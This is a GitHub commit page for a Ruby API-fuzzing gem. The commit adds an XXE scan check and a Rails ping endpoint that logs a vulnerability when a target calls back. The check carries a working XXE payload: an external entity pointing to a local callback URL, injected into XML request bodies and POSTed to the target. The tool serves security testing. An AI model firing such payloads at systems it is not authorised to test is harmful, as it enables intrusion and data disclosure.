Skip to content

Commit 9145d78

Browse files
committed
implement xxe check
1 parent fa06065 commit 9145d78

File tree

8 files changed

+61
-0
lines changed

8 files changed

+61
-0
lines changed

API_Fuzzer.gemspec

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ Gem::Specification.new do |spec|
2828
spec.require_paths = ["lib"]
2929

3030
spec.add_dependency 'http', '~> 2.0'
31+
spec.add_dependency 'activesupport'
3132
spec.add_development_dependency "bundler", "~> 1.12"
3233
spec.add_development_dependency "rake", "~> 10.0"
3334
spec.add_development_dependency "minitest", "~> 5.0"

Gemfile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ source 'https://rubygems.org'
33
# Specify your gem's dependencies in API_Fuzzer.gemspec
44

55
gem 'http'
6+
gem 'builder'
67

78
group :development do
89
gem 'byebug'

app/controllers/ping_controller.rb

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
class PingController < ActionController::Base
2+
def index
3+
sha = params[:id]
4+
scan = Scan.find_by_sid(sha)
5+
scan.vulnerabilities.create!(
6+
status: 'HIGH',
7+
class_type: 'Vulnerability',
8+
description: 'Possible XXE vulnerability in #{scan.url}',
9+
value: params[:body]
10+
) if scan
11+
render :ok
12+
end
13+
end

config/routes.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
API_Fuzzer::Engine.routes.draw do
2+
get '/ping/:id' => 'ping#index'
3+
end

lib/API_Fuzzer.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
require 'API_Fuzzer/sql_blind_check'
66
require 'API_Fuzzer/xss_check'
77
require 'API_Fuzzer/request'
8+
require 'API_Fuzzer/engine'
89

910
module API_Fuzzer
1011
# Scans all the checks
@@ -16,6 +17,7 @@ def self.scan(options = {})
1617
vulnerabilities << API_Fuzzer::XssCheck.scan(options)
1718
vulnerabilities << API_Fuzzer::SqlCheck.scan(options)
1819
vulnerabilities << API_Fuzzer::SqlBlindCheck.scan(options)
20+
API_Fuzzer::XxeCheck.scan(options)
1921
vulnerabilities.uniq.flatten
2022
end
2123

lib/API_Fuzzer/engine.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
module API_Fuzzer
2+
class Engine < ::Rails::Engine; end
3+
end

lib/API_Fuzzer/request.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ def send_api_request(options = {})
1010
@params = options.delete(:params) || {}
1111
@method = options.delete(:method) || :get
1212
@json = options.delete(:json) ? true : false
13+
@body = options.delete(:body) ? true : false
1314
@request = set_cookies(options)
1415
send_request
1516
end
@@ -56,6 +57,8 @@ def self.set_params
5657
{ 'json' => @params }
5758
elsif method_get?
5859
{ 'params' => @params }
60+
elsif @body
61+
{ 'body' => @params }
5962
else
6063
{ 'form' => @params }
6164
end

lib/API_Fuzzer/xxe_check.rb

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
require 'API_Fuzzer/vulnerability'
2+
require 'API_Fuzzer/error'
3+
require 'API_Fuzzer/request'
4+
require 'byebug'
5+
6+
module API_Fuzzer
7+
class XxeCheck
8+
9+
def self.scan(options = {})
10+
@url = options[:url] || nil
11+
@params = options[:params] || ''
12+
@scan_hash = options[:scan]
13+
fuzz_xml_params
14+
end
15+
16+
def self.fuzz_xml_params
17+
return unless @params
18+
body = @params.gsub(/\>\s*[a-zA-Z0-9]*\s*\<\//, '>&xxe;<')
19+
payload = <<-XXEPAYLOAD
20+
<?xml version="1.0" encoding="ISO-8859-1"?>
21+
<!DOCTYPE foo [
22+
<!ELEMENT foo ANY >
23+
<!ENTITY xxe SYSTEM "http://127.0.0.1:3000/yoxxe" >]>
24+
XXEPAYLOAD
25+
payload << body
26+
27+
API_Fuzzer::Request.send_api_request(
28+
url: @url,
29+
params: payload,
30+
body: true,
31+
method: :post
32+
)
33+
end
34+
end
35+
end

0 commit comments

Comments
 (0)